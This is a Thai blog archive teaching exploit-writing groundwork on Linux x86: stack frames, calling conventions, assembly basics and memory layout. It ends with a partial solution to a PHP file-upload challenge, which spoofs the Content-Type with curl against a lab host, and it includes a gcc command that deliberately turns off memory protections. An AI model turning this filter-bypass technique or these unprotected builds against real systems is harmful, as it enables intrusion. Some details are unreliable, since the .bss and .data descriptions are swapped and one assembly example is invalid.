Wednesday, December 22, 2010

Function กับ Stack

หลังจากผ่านเรื่อง Assembly ที่น่าเบื่อ คราวนี้ผมจะพูดถึงการ call (เรียก) function หนึ่ง จะมีผลอย่างไรกับ memory ในส่วน stack และจะมีคำสั่ง Assembly อะไรบ้างที่เกี่ยวข้อง

ปกติโปรแกรมจะทำงานเป็นลำดับ โดยมี EIP ชี้ไปคำสั่งที่จะถูกประมวลผล แต่เมื่อมีการ call function หนึ่ง EIP จะกระโดดไปทำงานใน function ใหม่ และเมื่อทำงานใน function ใหม่จบแล้ว EIP จะต้องกระโดดกลับมาทำงานที่ function เดิมต่อ แล้วโปรแกรมรู้ได้อย่างไรละว่า EIP ต้องกระโดดกลับไปที่ไหน?

เพื่อให้ EIP ชี้ไปที่คำสั่งถัดไปหลังจากกลับมาจาก function ที่เรียก คำสั่งที่ใช้ในการ call function คือ "call" (เช่น "call printf") จะทำการ "push eip" ลงไปใน stack ก่อน แล้วค่อยกระโดดไปทำงานที่ function ใหม่ และที่จบ function ก็จะมีคำสั่ง "ret" ซึ่งจะเท่ากับ "pop eip" ทำให้โปรแกรมสามารถกลับไปทำงานตามปกติได้ เช่น สมมติว่าโปรแกรมเรา EIP ชี้ไปที่ address 0x08112200 และคำสั่งที่ call some_fn ที่ address 0x08112100 และคำสั่งถัดไปคือ address 0x08112205 ผลของการ call ก็จะได้ตามรูปข้างล่าง

Note: ไม่มีคำสั่ง Assembly ที่แก้ไขค่า หรืออ่านค่า EIP โดยตรง ที่เห็นผมเขียน "push eip" และ "pop eip" นั้น เพื่อใช้ในการอธิบายเท่านั้น

แล้วถ้า function มีการส่ง arguments ละ จะเป็นอย่างไร?

วิธีการส่ง arguments จริงๆแล้ว แล้วแต่ compiler ว่าจะใช้ call convention (รูปแบบการเรียก)ไหน แต่ที่ใช้โดยทั่วไป arguments ของแต่ละ function นั้นจะถูก push ลงไปใน stack จาก arguments ตัวหลังสุดไล่ไปยังตัวหน้าสุด ก่อนจะมีการ call function เช่น ใน C เราเขียน some_args(1, 2, 3) เราจะได้ assembly code เป็น (เพื่อเป็นการประหยัดพื้นที่ ดูรูปแีรกในห้วข้อ Stack Frame ข้างล่างนะครับ)

push $3
push $2
push $1
call some_args

Note: วิธีส่ง arguments ไม่จำเป็นต้อง push นะครับ แค่ทำให้เหมือนกันก็พอ ซึ่งจะได้เห็นในหัวข้อถัดไป

ส่วนการส่งค่ากลับของ function คนเขียนโปรแกรมคงคุ้นเคยกันอยู่แล้วว่า function ในจะส่งค่ากลับได้เพียงแค่ค่าเดียว ซึ่ง compiler โดยทั่วไปจะส่งกลับผ่านทาง register EAX โดยการ set ค่าที่ EAX แล้วค่อย ret

Function Call Convention

ในที่นี้ ผมจะพูดถึงแค่ 3 แบบเท่านั้นนะครับ โดยทั้ง 3 แบบ arguments จะถูก push จากตัวหลังสุดไปหน้าสุด
  • C Calling Convention (cdecl) - เป็นแบบที่ compiler ปัจจุบันใช้ โดย function ที่เรียกจะทำหน้าที่ clear stack เช่นการเรียก some_args(1, 2, 3) จะได้ Assembly เป็น
    push $3
    push $2
    push $1
    call some_args
    add $12,%esp
    
  • Standard Convention (stdcall) - การเรียกแบบนี้ Microsoft คิด และใช้ใน dll ของ Microsoft เอง ถ้าใครเคยเขียนโปรแกรมโดยใช้ WIN32 API คงจะเคยเห็น WINAPI หน้า function ซึ่งถ้าไล่ดูใน header file ของ WIN32 API ก็จะเห็นว่า define เป็น _stdcall การเรียกแบบนี้ต่างจากแบบแรกคือ function ที่ถูกเรียกจะทำหน้าที่ clear stack โดยใช้คำัสั่ง Assembly "RET n" เช่นการเรียก some_args(1, 2, 3) จะได้ Assembly ของ function ที่เรียกคือ
    push $3
    push $2
    push $1
    call some_args
    
    และใน function ที่ถูกเรียกจะจบด้วย Assembly
    ret $12
    
  • Fastcall Convention (fastcall) - แบบนี้จะคล้ายแบบ "Standard Convention" ต่างกันตรงที่ argument ตัวแรกจะเก็บไว้ใน ECX และตัวที่สองเก็บไว้ใน EDX ส่วนที่เหลือ push ลง stack เหมือนเดิม การเรียกแบบนี้ ผมไม่ยกตัวอย่าง Assembly นะครับ เพราะใช้น้อยมาก เมื่อเทียบกับ 2 แบบแรก

Note: หลังจากนี้ ถ้าผมพูดถึงการ call function โดยไม่บอกรูปแบบก็ถือว่าเป็น C Calling Convention

Local Variables

ในแต่ละ function จะมี local variables ที่ใช้ภายใน function เท่านั้น และเมื่อจบ function พวก local variables จะถูกทำลายอัตโนมัติ

local variables นั้น จะถูกเก็บไว้ใน stack วิธีการจองคือ compiler ทำการคำนวณขนาดของ local variables ทั้งหมด แล้วเพิ่มคำสั่งลบ ESP ไว้ที่ตอนเริ่มของ function (อย่าลืมนะครับว่า stack ใน x86 ขยายจาก High Address ไป Low Address) เช่นใน function มีการประกาศตัวแปร "int i; char buf[16];" ได้ขนาด local variables เป็น 20 bytes ซึ่ง compiler จะเพิ่มคำสั่ง

sub $20, %esp

Stack Frame

ในหัวข้อ Assembly ผมได้พูดถึง ESP กับ EBP สั้นๆ ในหัวข้อนี้จะได้เห็นว่า register 2 ตัวนี้ถูกใช้งานอย่างไรใน stack

โดยปกติ EBP ชี้ไปยัง address ของ stack ข้างบน EIP ที่ถูก push ลงไปใน stack ก่อนมีการ call function โดยหน้าที่หลักคือ ใช้อ้างอิง function arguments และ local variables ซึ่งเมื่อใช้ EBP การอ้างอิงทั้ง arguments และ local variables นั้นจะไม่มีการเปลี่ยนแปลงตามรูปข้างล่าง โดยสมมติว่ามีการ call function ที่มี 3 arguments และใน function นั้นมีการประกาศตัวแปรไว้เป็น "int i; char buf[8];" (เหมือนตัวอย่างในหัวข้อ "Buffer Overflow คืออะไร" ใน function main แต่ใช้ i แทน magic)

จากรูปข้างบน อาจจะเรียกทั้งหมดว่า "Stack Frame" โดยถ้าเราต้องการจะอ้างถึงตัวแปร buf ก็ใช้ EBP-12 ส่วนถ้าต้องการอ้างถึง argument ตัวที่ 1 ก็ใช้ EBP+8 และตัวอื่นๆ ตามรูป

ส่วน "saved EIP" ในรูปนั้น ผมได้อธิบายไปในตอนต้นแล้ว มันคือ EIP ของคำสั่งที่จะถูกทำงานหลังจากจบ function ที่เรียก

แล้ว "saved EBP" ละมีไว้ทำอะไร เนื่องด้วยเราได้ใช้ EBP เป็น strack frame pointer เพื่อที่จะได้อ้างอิง local variables และ function arguments ได้สะดวก ดังนั้นเมื่อมีการ call function หนึ่ง EBP จะต้องถูกเลื่อนไปที่ stack frame ของ function ที่ถูกเรียก ดังนั้นเราต้องทำเหมือนกับ EIP คือเก็บไว้ใน stack เพื่อจะได้เอา (restore) EBP ของ function เดิมกลับมาได้ (ถ้างง ให้อ่านไปก่อนนะครับ จะมีตัวอย่างอีกอัน)

จะเห็นว่าก่อนจะเริ่มทำงานใน function แต่ละครั้งนั้น จะมีการเก็บค่า EBP, ย้าย EBP และจองเนื้อที่สำหรับ local variables (ไม่มีการเก็บค่า EIP นะครับ อันนี้ถูกรวมอยู่ในคำสั่ง call) และเมื่อจบ function ก็จะมีการ clear stack ที่จองไว้สำหรับ local variables และ restore EBP ก่อนที่จะเรียกคำสั่ง ret

สิ่งที่ต้องทำก่อนเริ่มทำงานใน function จะเรียกว่า function prologue ซึ่งถ้านำตัวอย่างข้างบนมาเขียนเป็น assembly จะเป็น

push %ebp       # เก็บค่า EBP ที่ใช้ใน function ก่อนหน้าไว้ใน stack
mov %esp, %ebp  # เลื่อนค่า EBP มาที่ ESP (top of stack)
sub $12, %esp   # เลื่อน ESP เพื่อจอง memory ให้ local variables

และสิ่งที่ต้องทำก่อนจบ function จะเรียกว่า function epilogue ซึ่งเขียนเป็น assembly ได้เป็น

mov %ebp, %esp  # clear memory สำหรับ local variables โดยการย้าย ESP มาที่ EBP
pop %ebp        # restore EBP จากค่าที่เก็บไว้ใน stack
ret

เนื่องจาก ใน x86 มีคำสั่งสำหรับทำ function epilogue คือ leave ซึ่งเท่ากับ mov %ebp,%esp และ pop %ebp ทำให้โดยปกติ เราจะเห็น function epilogue เมื่อเรา disassembly เป็น

leave
ret

บางคนอาจจะสังเกตเห็น ESP ในรูป แล้วสงสัยว่าทำไมถึงไม่ใช้ ESP ในการอ้างอิง local variables และ function arguments ละ ในเมื่อ ESP ชี้ไปที่ top of stack เสมออยู่แล้ว และก็อยู่ใกล้ local variables กับ function arguments เหตุผลก็คือ
1. การถ้าใช้ ESP ต้องมีการคำนวณทุกครั้ง ที่มีการ push หรือ pop ว่า local variables และ function arguments ห่างจาก ESP เท่าไร แต่การใช้ EBP ทำให้การอ้างอิงค่าแต่ละตัวเหมือนเดิมตลอดๆ ไม่ว่า stack จะเปลี่ยนแปลงอย่างไร ทำให้ง่ายต่อการ debug
2. เนื่องด้วยต้องคำนวณระยะห่างของ ESP ที่กล่าวไปในข้อ 1 ทำให้ compiler ทำงานช้าลง

จริงๆ แล้ว compiler เกือบทุกตัว มี option ให้ใช้แต่ ESP แล้วเก็บ EBP ไว้ใช้เหมือน register ตัวอื่นๆ เช่นใน gcc จะใช้ -fomit-frame-pointer ส่วนเหตุผลว่า บางครั้งทำไมต้องใช้แบบนี้ ไม่ขอกล่าวในนี้ เดี๋ยวจะยาวเกิน

ก่อนจะจบ ผมขอยกตัวอย่าง ที่มาจากการ compile จริงๆ และจะได้ฝึก Assembly ไปด้วย โดยมีโปรแกรมที่เขียนด้วยภาษา C ดังนี้ (ex_04_1.c)

int fn_second(int n1, int n2, char *s)
{
  char bb[16];
  return 1;
}

void fn_first(int num)
{
  int i;
  char buf[8];
  fn_second(i, num, buf);
}

int main()
{
  fn_first(5);
  return 0;
}
แล้ว compile ด้วย gcc ตามนี้ (ครั้งนี้ ผม compile ให้ใช้วิธี push argument แล้ว call function เพื่อให้เข้าใจง่าย แต่ในหัวข้อถัดไป ผมจะให้ดูอีกรูปแบบหนึ่ง)
$ gcc -march=i586 -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o call_stack call_stack.c
เมื่อผมทำการ disassembly ออกมาจะได้ (ผมเอามาแสดงแค่ 3 function ที่มีใน C code นะครับ และเป็น address จริงๆ ในเครื่องของผม)
<fn_second>:
   # function prologue โดยจองเนื้อที่ขนาด 16 bytes สำหรับ local variable
   0x08048394 <+0>:   push   %ebp
   0x08048395 <+1>:   mov    %esp,%ebp
   0x08048397 <+3>:   sub    $0x10,%esp
   0x0804839a <+6>:   mov    $0x1,%eax    # set ค่า 1 ที่จะ return ใน EAX
   # function epilogue
   0x0804839f <+11>:  leave
   0x080483a0 <+12>:  ret
<fn_first>:
   # function prologue โดยจองเนื้อที่ขนาด 12 bytes สำหรับ local variable
   0x080483a1 <+0>:   push   %ebp
   0x080483a2 <+1>:   mov    %esp,%ebp
   0x080483a4 <+3>:   sub    $0xc,%esp
   0x080483a7 <+6>:   lea    -0xc(%ebp),%eax # load address ของ buf ไว้ที่ EAX
   0x080483aa <+9>:   push   %eax        # push address ของ buf (argument ตัวที่ 3)
   0x080483ab <+10>:  pushl  0x8(%ebp)   # push ค่า num (argument ตัวที่ 2)
   0x080483ae <+13>:  pushl  -0x4(%ebp)  # push ค่า i (argument ตัวที่ 1)
   0x080483b1 <+16>:  call   0x8048394 <fn_second>
   0x080483b6 <+21>:  add    $0xc,%esp  # clear arguments ที่ส่งผ่านใน stack
   # function epilogue
   0x080483b9 <+24>:  leave
   0x080483ba <+25>:  ret
<main>:
   # function prologue มี 2 คำสั่งเพราะ ไม่มี local variables
   0x080483bb <+0>:   push   %ebp
   0x080483bc <+1>:   mov    %esp,%ebp
   0x080483be <+3>:   push   $0x5       # push argument ตัวที่ 1
   0x080483c0 <+5>:   call   0x80483a1 <fn_first>
   0x080483c5 <+10>:  add    $0x4,%esp  # clear arguments ที่ส่งผ่านใน stack
   0x080483c8 <+13>:  mov    $0x0,%eax  # set ค่า 0 ที่จะ return ใน EAX
   # function epilogue
   0x080483cd <+18>:  leave
   0x080483ce <+19>:  ret

ถ้าใครอ่าน Assembly code แล้วไม่เห็นภาพ ผมก็มีรูปให้ดู (หวังว่าคนที่ยังไม่เข้าใจ ดูแล้วจะเข้าใจ) โดยผมจะเริ่มคำสั่งจากใน main ที่ address 0x080483be และจบที่ address 0x080483c5 โดย EBP และ ESP ชี้ไปที่ address 0xbffff728 อยู่ (address จริงในเครื่องผม) และเนื่องด้วยถ้าทำเป็น step ทั้งหมดรูปจะใหญ่มาก ผมขอไม่เข้าไปใน "call fn_second" และคำสั่งที่ address 0x080483c5 ผมไม่แสดง โดยผลลัพธ์จะเหมือนขั้นตอนแรก

ถ้าใครไม่เคยรู้เรื่องนี้มาก่อน ให้ค่อยๆ ไล่นะครับ ใช้เวลานานหน่อย ไม่ต้องรีบร้อน เรื่องนี้สำคัญมากๆ

สุดท้าย ให้ลองกลับไปดูในหัวข้อ "Buffer Overflow คืออะไร" แล้วคิดดูว่า เกิดอะไรขึ้นใน stack ในแต่ละ input ที่เราลองกัน แล้วผมจะอธิบายในหัวข้อถัดไป พร้อมกับการใช้ gdb เบื้องต้น

Sunday, December 19, 2010

สารบัญ การเขียน exploit บน Linux

ตอนนี้ ผมได้สร้าง page ขึ้นมาเฉพาะแล้วนะครับ ขอเปลี่ยนให้ไปใช้ Pages ที่เมนูด้านขวามือ

Thursday, December 16, 2010

Assembly พื้นฐาน

ในหัวข้อนี้ ผมจะพูดถึง Assembly ของ x86 โดยเอาเฉพาะที่จำเป็นสำหรับการเขียน exploit จะพยายามไม่ให้ยาวมากนะครับ

CPU Registers

ใน CPU จะมี registers ต่างๆ ขนาด 32 bits ที่ใช้เก็บข้อมูล สำหรับ ALU (Arithmetic Logic Unit) นำมาประมวลผล โดยมี register ที่สำคัญ มีดังนี้
  • EIP (Extended Instruction Pointer) ใช้สำหรับเก็บ address ของคำสั่งถัดไปที่จะถูกประมวลผล
  • EBP (Extended Base Pointer) ใช้สำหรับเก็บ address ล่างสุดของ frame ที่ทำงานอยู่ใน stack
  • ESP (Extended Stack Pointer) ใช้สำหรับเก็บ address บนสุดของ stack
  • EAX (Extended Accumulator Register), EBX (Extended Base Register), ECX (Extended Counter Register), EDX (Extended Data Register) ทั้ง 4 ตัวนี้ใช้สำหรับเก็บข้อมูลทั่วไป (General Purpose Registers)
  • ESI (Extended Source Index), EDI (Extended Destination Index) ใช้สำหรับคำสั่งที่ต้องการ indexing เช่น array, copy string แต่ในบางครั้ง ก็ถูกใช้เหมือนกับ register 4 ตัวข้างบน คือเก็บข้อมูลทั่วไป
General Purpose Registers (EAX, EBX, ECX, EDX) สามารถ access แบบ 16 bits และ 8 bits โดยแบ่งตามรูปข้างล่าง
ส่วน register ตัวอื่นๆ สามารถ access แบบ 16 bits ตามนี้ IP, BP, SP, SI, DI

Flags

Flags ใช้สำหรับบอกสถานะของผลลัพธ์ของคำสั่ง บางคำสั่งจะไม่มีการเปลี่ยนค่า Flags บางคำสั่งจะมีการเปลี่ยนบาง Flags โดยใน CPU นั้นมี Flags อยู่หลายตัว แต่ในที่นี้ ผมจะพูดเฉพาะ ZF (Zero Flag), SF (Sign Flag)
  • ZF เป็น flag ที่ถูก set เมื่อผลลัพธ์ของ operation เป็น 0
  • SF เป็น flag ที่ถูก set เมื่อผลลัพธ์ของ operation เป็นลบ

Assembly Language

คราวนี้ก็มาถึงตัว assembly เองแล้ว โดยตัว syntax เองก็จะมีหลักๆ อยู่ 2 แบบที่ใช้กัน คือ AT&T กับ Intel โดย
- ตัว AT&T syntax จะถูกใช้ใน GNU Assembler และส่วนมากจะเป็น default สำหรับ Linux
- ตัว Intel Syntax ก็จะเป็น Netwide Assembler (NASM) และ Windows assemblers ส่วนมากจะใช้ NASM

ทั้งสอง syntax ที่กล่าวนี้ จะมี syntax ที่ต่างกันบ้าง แต่เมื่อถูกเปลี่ยนเป็น machine code แล้ว ผลลัพธ์ที่ได้ก็จะเหมือนกัน โดยความแตกต่างหลักๆ ที่ต้องรู้

  • คำสั่งที่ต้องการ source กับ destination จะสลับกัน โดย AT&T จะใช้ source ข้างหน้า แต่ NASM จะใช้ destination ข้างหน้า คือ
    - AT&T: CMD <source>, <dest> <# comment>
    - NASM: CMD <dest>, <source> <; comment>
  • AT&T ใช้ % ข้างหน้า registers แต่ NASM ไม่ใช้
  • AT&T ใช้ $ ข้างหน้า immediate value แต่ NASM ไม่ใช้
  • AT&T จะมี suffix (ตัวต่อท้ายคำสั่ง) เพื่อระบุขนาดของ operand โดยใช้ l สำหรับ long (4 byte), w สำหรับ word (2 byte), b สำหรับ byte (สำหรับ GNU Assembler เราสามารถไม่ใส่ suffix ถ้าคำสั่งนั้นมี operand ที่ระบุขนาด) แต่ NASM จะมีเมื่อใช้กับการอ้างอิงที่อยู่ เช่น dword ptr, byte ptr
  • เรื่องการอ้างที่อยู่ memory โดย AT&T ใช้ () ส่วน NASM ใช้ [] และตำแหน่งของ index ก็จะต่างกัน จะพูดถึงอีกทีในเรื่องของ assembly command
เนื่องจากเรากำลังเขียน exploit บน Linux ผมจะพูดถึง AT&T syntax เป็นหลัก

Assembly Commands

ในที่นี้ ผมจะพูดเฉพาะคำสั่งที่ผมคิดว่าสำคัญมากๆ ถ้าใครต้องการรู้เพิ่มเติม คงต้องหาอ่านเพิ่มเอาเองนะครับ

mov
คือการ copy (คัดลอก) ข้อมูลจาก source ไปยัง destination เช่น

movl $1234h, %eax
mov  %eax, %ebx   # GNU assembler สามารถเดาได้ว่าเป็น movl เพราะ ebx มีขนาด 4 bytes
movw %ax, %bx
movb %al, %bl
คำสั่งแรกคือ กำหนดค่าของ register EAX ให้เป็น 0x1234 (ใน assembly สามารถใช้ได้ทั้้ง 1234h และ 0x1234) ส่วนคำสั่งที่ 2 คือ กำหนดค่าของ EBX ให้เหมือน EAX ถ้าทำงานต่อกัน EBX ก็จะเป็นค่า 0x1234
ส่วนถ้า assembly นี้เขียนเป็น NASM syntax ก็จะเป็น
mov eax, 1234h
mov ebx, eax
mov bx, ax
mov bl, al

add, sub
ใช้สำหรับการบวกและลบ โดยนำค่าของ source ไปบวก/ลบ กับ destination แล้วเก็บผลลัพธ์ไว้ที่ destination เช่น

addl $1234h, %eax  # นำค่าที่อยู่ใน EAX บวก 0x1234 แล้วเก็บใน EAX
subl $1234h, %eax  # นำค่าที่อยู่ใน EAX ลบ 0x1234 แล้วเก็บใน EAX

xor, or, and
เป็น bitwise operation ของการทำ xor, or หรือ and ของ source กับ destination แล้วเก็บผลลัพธ์ไว้ที่ destination เช่น

xorl %eax, %eax  # xor ค่าของ EAX กับ EAX เป็นเทคนิคหนึ่ง ที่ทำให้ EAX เป็น 0
orl %ebx, %eax
andl %ebx, $ffh

push, pop
ใช้สำหรับ push กับ pop ค่าบน stack (ตำแหน่งบนสุดของ stack ดูได้จากค่า register ESP) เช่น

pushl $10h  # push ค่า 0x10 ลงใน stack
pushl %eax  # push ค่าของ EAX ลงใน stack
popl %ebx   # pop ค่าจาก stack เก็บใน EBX

cmp
ใช้สำหรับเปรียบเทียบค่า source กับ destination แล้ว set ค่า flag ต่างๆ ตามผลลัพธ์ เพื่อใช้สำหรับคำสั่ง jump ต่างๆ เช่น

cmpl $55, %eax

jne, je, jnz, jz, jmp
ใช้สำหรับ jump (กระโดด) ไปคำสั่งที่ตำแหน่งอื่นๆ โดยจะกระโดดหรือไม่ ขึ้นอยู่กับชนิดของ jump และค่าของ flag ต่างๆ แต่ในที่นี้ ผมจะไม่พูดถึง flag นะครับ เพราะจำยาก แต่ให้ดูที่ความหมายเอา โดยในตัวอย่างข้างล่างสมมติว่ามีการใช้ cmp ตามตัวอย่างข้างบน และค่า eax เป็น 10

jne 5   # Jump if Not Equal คือ 55 ไม่เท่ากับ 10 ดังนั้นก็จะ jump 
je 5    # Jump if Equal คือ 55 ไม่เท่ากับ 10 ดังนั้นจะไม่ jump
jnz 5   # Jump if Not Zero คือถ้า zero flag ไม่ถูก set ซึ่งจะเหมือนกัน jne
jz 5    # Jump if Zero คือถ้า zero flag ถูก set ซึ่งจะเหมือนกัน je
jmp 5   # jump โดยไม่มีเงื่อนไข
การ jump จะมีทั้งแบบ absolute address (คือระบุว่าจะไปที่ address ไหน) และ relative address (คือระบุว่าจะไปข้างหน้าหรือข้างหลังจากตำแหน่งปัจจุบันเท่าไร) โดยตัวอย่างที่ผมเขียนมา เป็นแบบ relative ทั้งหมด

inc, dec
ใช้สำหรับเพิ่มค่า (+1) หรือลดค่า (-1) ใน register เช้น

inc %eax
dec %ebx

lea
ย่อมาจาก load effective address ใช้สำหรับคำนวณค่า address ของ source แล้วเก็บที่ destination คำสั่งนี้หลายๆ คน จะสับสนกับ mov โดย mov ใช้สำหรับ copy ค่าที่อยู่ใน address ของ source สมมติว่าค่าใน EAX เป็น 0xdeadbee0 และค่าที่อยู่ใน address 0xdeadbee4 คือ 8

leal 4(%eax),%ebx  # คำนวณค่า address ของ source ได้ 0xdeadbeee4 แล้วเก็บที่ EBX
แต่ถ้าเป็น mov
movl 4(%eax),%ebx  # เอาค่า address ที่คำนวณได้ แล้วไปดึงค่าที่ address นั้น (คือ 8) แล้วเก็บที่ EBX

int
ใช้สำหรับเรียก interrupt handler ในการเขียน exploit บน linux ตัวที่จะได้ใช้บ่อย คือค่า 0x80 ซึ่งใช้สำหรับเรียก system call เช่น

int $0x80

nop
คือ no operation (ไม่มีการทำงาน) ใช้สำหรับบอกว่าไม่ต้องทำอะไร คล้ายๆ กับบรรทัดที่มี semicolon เฉยๆ ใน C ตัวนี้ผมจะพูดถึงประโยชน์ทีหลัง เมื่อมีการใช้งาน และขอให้จำด้วยว่ามีค่าเป็น 0x90

ในหัวข้อนี้ ที่ผมเขียนมาทั้งหมดเกี่ยวกับ assembly จริงๆ แล้วยังไม่พอที่จะมาใช้จริงๆ แค่ให้พอที่จะถูๆไถๆไปได้ สำหรับเรื่อง assembly ผมแนะนำให้ฝึกมากกว่า ไม่ต้องไปนั่งท่องจำอะไร ได้ใช้สักพักก็จะจำได้เอง ใครที่ยังไม่ค่อยเข้าใจก็อ่านหัวข้อต่อไปก่อนเลยนะครับ มันเป็นเรื่องที่เกี่ยวกัน และจะได้ฝึก assembly ด้วย น่าจะช่วยให้เข้าใจได้มากขึ้น


Reference:
- Gray Hat Hacking
- Using Assembly Language in Linux - http://asm.sourceforge.net/articles/linasm.html
- x86 Instruction Set Reference - http://siyobik.info/index.php?module=x86
- X86 Opcode and Instruction Reference - http://ref.x86asm.net/

Monday, December 13, 2010

Process Memory Layout บน Linux x86

ในแต่ละ process จะมีการจอง memory ไว้ใช้งาน โดยทุก process จะเห็น memory เป็นโครงสร้างเดียวกันทั้งหมด หรือที่เรียกว่า virtual memory (หน่วยความจำเสมือน) และ memory จะมีการแบ่งส่วนไว้เก็บข้อมูลต่างๆ โดยผมจะพูดถึงส่วนที่สำคัญ ตามรูปข้างล่าง (ถ้าใครไม่รู้ว่า virtual memory ก็คิดซะว่าเป็น memory ไปก่อน แต่ถ้าสนใจ แนะนำให้ไปอ่านหนังสือพวก Operating System)

  • .text ส่วนนี้ใช้สำหรับเก็บ code ของโปรแกรมที่แปลงเป็น machine code แล้ว โดย default ส่วนนี้จะเป็น read-only (อ่านได้อย่างเดียว) ไม่สามารถเขียนทับได้
  • .bss ส่วนนี้ตัวแปร global ที่มีการ initialize (ถูกกำหนดค่าไว้ตั้งแต่โปรแกรมเริ่ม) เช่น int a = 0;
  • .data ส่วนนี้ตัวแปร global ที่ไม่มีการ initialize (ไม่ถูกกำหนดค่าไว้ตั้งแต่โปรแกรมเริ่ม) เช่น int a;
  • heap เป็นส่วนที่สามารถขยายได้ โดย address จะขยายจาก low address ไปยัง high address เพื่อใช้สำหรับจองและเก็บข้อมูลที่มีขนาดไม่แน่นอน ในขณะที่โปรแกรมทำงานอยู่ โดยคำสั่งที่ใช้ใน C เพื่อควบคุมส่วนนี้คือ malloc() และ free()
  • stack ใช้สำหรับเก็บข้อมูลของการเรียกฟังก์ชัน (function call) เพื่อให้โปรแกรมสามารถกลับมาทำงานต่อได้ หลังจากโปรแกรมจบฟังก์ชันที่เรียก โดย address ของส่วนนี้จะขยายจาก high address ไปยัง low address
    จะเห็นว่าในรูป ผมได้มี argv กับ env ใน stack ด้วย ในขณะนี้โปรแกรมจะเริ่มทำงาน โปรแกรมได้มีการเก็บข้อมูล environment (สามารถดูได้จากคำสั่ง env) และ arguments ของโปรแกรมนั้นลงบน stack ด้วย

Endian

Endian นั้นจะมี big endian กับ little endian โดยจะต่างกันในเรื่องของ byte order เช่นถ้าเราจะเก็บข้อมูล integer ที่มีขนาด 4 bytes (32 bits) ค่า 0x41424344 ใน memory ก็จะเก็บได้ตามรูป

จะเห็นว่า big endian นั้นเก็บข้อมูลเรียงตามปกติที่เราเขียน แต่ little endian นั้นจะเก็บข้อมูลจาก byte ที่มีค่าน้อยที่สุดก่อน
สำหรับ x86 ที่ผมจะพูดถึงในเรื่องการเขียน exploit จะใช้การเก็บข้อมูลเป็นแบบ little endian ถ้าใครไม่เคยอ่านแบบนี้ แรกๆอาจจะงงกันได้ แต่ถ้าได้ทำบ่อยๆ ก็จะคุ้นเคยกับมันไปเอง

Stack

ปกติเราคงคุ้นเคยกับ queue (คิว) คือใครต่อแถวก่อนได้ก่อน หรือคนเรียนคอมพิวเตอร์จะเรียกว่า First In First Out(เข้าก่อนออกก่อน) ย่อๆว่า FIFO ส่วน stack (กองซ้อน) คือวิธีการเก็บข้อมูลแบบนี้ ที่ตรงกับข้ามกับ queue โดยจะเรียกว่า Last In First Out (เข้าทีหลังออกก่อน) ย่อๆ ว่า LIFO โดย stack ที่น่าเคยเห็นกันทุกคนคือ กล่องใส่ซีดีที่มีแกนอยู่ตรงกลาง แผ่นซีดีที่เราใส่เป็นแผ่นสุดท้าย เราต้องเอาออกก่อน ส่วนแผ่นซีดีที่เราใส่เป็นแผ่นแรก จะเป็นแผ่นสุดท้ายที่เราเอาออกมาได้

ในคอมพิวเตอร์จะมี 2 operation (การกระทำ) หลักๆ คือ push กับ pop โดย push คือการใส่ข้อมูลที่บนสุดของ stack ส่วน pop คือการเอาข้อมูลที่อยู่บนสุดของ stack ออกมา ตามรูปข้างล่าง


ในหัวข้อนี้ ผมได้พูดถึง memory layout ของ process บน Linux x86 โดยส่วนที่จะได้พบและใช้บ่อยๆในการเขียน exploit คือส่วนของ stack ที่ผมยังไม่ได้ลงรายละเอียดมากนัก ซึ่งจะมีเพิ่มเติมในหัวข้อถัดๆ ไป

Saturday, December 4, 2010

PHP file upload (เฉลย)

อาทิตย์หนึ่งผ่านไปจาก post เดิมที่ถามไว้ เกี่ยวกับ PHP file upload วันนี้ผมจะมาเฉลย ใครที่อยากทำเองก็อย่าอ่านต่อละกัน

ก่อนที่จะไปดูเฉลย ผมจะให้ดู HTTP request กับ response สำหรับการ upload file ในปัญหานี้ โดยผมได้เปลี่ยนจาก <br /> เป็น "\n" ใน เพื่อให้อ่านง่า่ยขึ้นในนี้

POST /upload.php HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://192.168.1.100/upload.html
Content-Type: multipart/form-data; boundary=---------------------------194488808416516608941591502886
Content-Length: 390

-----------------------------194488808416516608941591502886
Content-Disposition: form-data; name="file"; filename="arrow.gif"
Content-Type: image/gif

GIF89a..........EEE..........................................!.......,..........W.I.j........pE....LAg.p.j...B......U.v..s.C..;......
.`.."..fs...2.(.[..Lh....a~.fX..$..;
-----------------------------194488808416516608941591502886--

HTTP/1.1 200 OK
Date: Sat, 04 Dec 2010 05:32:41 GMT
Server: Apache
Content-Length: 120
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

Upload: arrow.gif
Type: image/gif
Size: 0.166015625 Kb
Temp file: C:\WINDOWS\Temp\php19D.tmp
Stored in: upload/arrow.gif

ข้างบนเป็นข้อมูลที่เอามาจาก Wireshark และตัวอักษร . ในข้อมูลหมายถึง byte ที่ไม่สามารถแสดงผลเป็นตัวอักษรได้

หลังจากเห็น request จาก Firefox ไปแล้ว เรามาเริ่มเลยดีกว่า ปัญหาที่1 นั้นมีการตรวจสอบเพิ่งแค่ว่า $_FILES["file"]["type"] นั้นเป็นชนิดที่เราอนุญาติหรือไม่
ถ้าเราสังเกต request ของ Firefox จะเห็นว่ามีการส่ง "Content-Type: image/gif" ไปด้วย ดังนั้นถ้าเราลองแก้ค่านี้ดู โดยผมจะใช้ curl (ถ้าใครไม่ถนัด command line ก็อาจจะใช้ Tamper Data ที่เป็น add-on ของ Firefox)

$ curl -0 -F "file=@arrow.gif;type=foo/bar" http://192.168.1.100/upload.php
Invalid file
$
โดยจะมี HTTP request และ response เป็น (จาก Wireshark)
POST /upload.php HTTP/1.0
User-Agent: curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15
Host: 192.168.1.100
Accept: */*
Content-Length: 354
Content-Type: multipart/form-data; boundary=----------------------------f627444651d8

------------------------------f627444651d8
Content-Disposition: form-data; name="file"; filename="arrow.gif"
Content-Type: foo/bar

GIF89a..........EEE..........................................!.......,..........W.I.j........pE....LAg.p.j...B......U.v..s.C..;......
.`.."..fs...2.(.[..Lh....a~.fX..$..;
------------------------------f627444651d8--

HTTP/1.1 200 OK
Date: Sat, 04 Dec 2010 06:04:21 GMT
Server: Apache
Content-Length: 13
